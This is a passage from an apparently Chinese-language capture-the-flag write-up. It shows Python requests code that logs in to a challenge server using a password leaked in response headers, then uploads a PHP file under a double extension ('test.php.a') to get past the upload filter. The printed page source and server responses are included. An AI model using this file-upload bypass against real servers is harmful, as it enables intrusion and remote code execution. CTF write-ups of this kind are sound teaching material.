data = {'password': r.headers.get("password"),'submit_password':''} r = requests.post('http://101.71.29.5:10010/login.php',data=data,cookies={'PHPSESSID':cookie}) print(r.text,'\n',r.headers)
打印出来的源代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<!DOCTYPE html> <htmllang="en"> <head> <metacharset="UTF-8"> <title>can you find the flag?</title> </head> <body> <formaction='upload.php'method='POST'enctype='multipart/form-data'> <inputtype='file'name='file'> <buttontype='submit_file'name='submit_file'>upload</button> </form><formaction='logout.php'method='POST'> <buttontype='logout'name='logout'>logout</button> </form></body> </html>
data = {'password': r.headers.get("password"),'submit_password':''} r = requests.post('http://101.71.29.5:10010/login.php',data=data,cookies={'PHPSESSID':cookie})
files = { 'file':("test.php.a",open('test.php','r'),'multipart/form-data') } data = {'submit_file':''} r = requests.post('http://101.71.29.5:10010/upload.php',cookies={'PHPSESSID':cookie},data=data,files=files) print(r.text,'\n',r.headers)
返回内容
1 2
You upload is save at:uploads/test.php.a {'Date': 'Sat, 27 Oct 2018 15:38:18 GMT', 'Server': 'Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.1.14', 'X-Powered-By': 'PHP/7.1.14', 'Expires': 'Thu, 19 Nov 1981 08:52:00 GMT', 'Cache-Control': 'no-store, no-cache, must-revalidate', 'Pragma': 'no-cache', 'Vary': 'User-Agent', 'X-Service-Uid': 'app-1.1.1', 'Content-Length': '40', 'Keep-Alive': 'timeout=2, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=UTF-8'}